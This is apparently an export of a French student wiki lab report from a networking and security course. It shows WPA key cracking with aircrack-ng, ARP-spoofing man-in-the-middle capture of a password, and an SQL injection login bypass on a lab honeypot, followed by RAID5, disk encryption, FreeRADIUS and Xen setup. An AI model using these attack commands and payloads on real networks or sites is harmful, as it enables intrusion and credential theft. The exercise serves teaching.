Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54717</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54717"/>
				<updated>2020-12-15T16:10:32Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
